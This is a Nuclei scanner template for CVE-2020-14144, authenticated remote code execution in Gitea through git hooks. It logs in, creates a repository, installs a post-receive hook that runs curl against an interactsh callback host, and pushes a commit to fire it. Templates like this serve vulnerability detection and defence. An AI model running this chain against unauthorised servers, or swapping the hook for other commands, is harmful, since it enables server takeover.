nuclei-templates/http/cves/2020/CVE-2020-14144.yaml

103 lines
3.8 KiB
YAML
Raw Normal View History

2023-03-18 22:07:09 +00:00
id: CVE-2020-14144
info:
name: Gitea 1.1.0 - 1.12.5 - Remote Code Execution
2023-03-18 22:07:09 +00:00
author: theamanrawat
severity: high
description: |
Gitea 1.1.0 through 1.12.5 is susceptible to authenticated remote code execution, via the git hook functionality, in customer environments where the documentation is not understood (e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the ENABLE_GIT_HOOKS line in the config file). NOTE: The vendor has indicated this is not a vulnerability and states "This is a functionality of the software that is limited to a subset of accounts. If you give someone the privilege to execute arbitrary code on your server, they can execute arbitrary code on your server. We provide very clear warnings to users around this functionality and what it provides."
2023-09-06 12:22:36 +00:00
remediation: Fixed in version 1.16.7.
2023-03-18 22:07:09 +00:00
reference:
- https://dl.gitea.io/gitea/1.16.6
- https://github.com/go-gitea/gitea/pull/13058
- https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
- https://nvd.nist.gov/vuln/detail/CVE-2020-14144
2023-07-11 19:49:27 +00:00
- https://docs.github.com/en/enterprise-server@2.19/admin/policies/creating-a-pre-receive-hook-script
2023-03-18 22:07:09 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2020-14144
cwe-id: CWE-78
epss-score: 0.97121
epss-percentile: 0.99707
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
2023-03-18 22:07:09 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 12:22:36 +00:00
max-request: 7
2023-07-11 19:49:27 +00:00
vendor: gitea
product: gitea
2023-09-06 12:22:36 +00:00
shodan-query: html:"Powered by Gitea Version"
2023-07-11 19:49:27 +00:00
tags: cve,cve2020,rce,gitea,authenticated,git,intrusive
2023-03-18 22:07:09 +00:00
http:
2023-03-18 22:07:09 +00:00
- raw:
- |
GET /user/login HTTP/1.1
Host: {{Hostname}}
- |
POST /user/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
- |
GET /repo/create HTTP/1.1
Host: {{Hostname}}
- |
POST /repo/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{auth_csrf}}&uid=1&repo_name={{randstr}}&private=on&description=&repo_template=&issue_labels=&gitignores=&license=&readme=Default&auto_init=on&default_branch=master
- |
POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}
- |
GET /{{username}}/{{randstr}}/_new/master HTTP/1.1
Host: {{Hostname}}
- |
POST /{{username}}/{{randstr}}/_new/master HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct
cookie-reuse: true
2023-07-11 19:49:27 +00:00
2023-03-18 22:07:09 +00:00
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
2023-07-11 19:49:27 +00:00
- http
2023-03-18 22:07:09 +00:00
- type: word
part: body_1
words:
- "Gitea:"
extractors:
- type: regex
name: csrf
group: 1
regex:
2023-07-11 19:49:27 +00:00
- name="_csrf" value="(.*)"
2023-03-18 22:07:09 +00:00
internal: true
- type: regex
name: auth_csrf
group: 1
regex:
2023-07-11 19:49:27 +00:00
- name="_csrf" content="(.*)"
2023-03-18 22:07:09 +00:00
internal: true
- type: regex
name: last_commit
group: 1
regex:
2023-07-11 19:49:27 +00:00
- name="last_commit" value="(.*)"
2023-03-18 22:07:09 +00:00
internal: true
# digest: 4a0a00473045022100b793de6dcf09b20aa6ed4bfe9d0c4c92be2d31848b61f49977c8625fde4b104c02203ae678f09e6597c3f8a48e0ff43dcfa4ba48e130af0e87d5be08d8e13fc11d5f:922c64590222798bb761d5b6d8e72950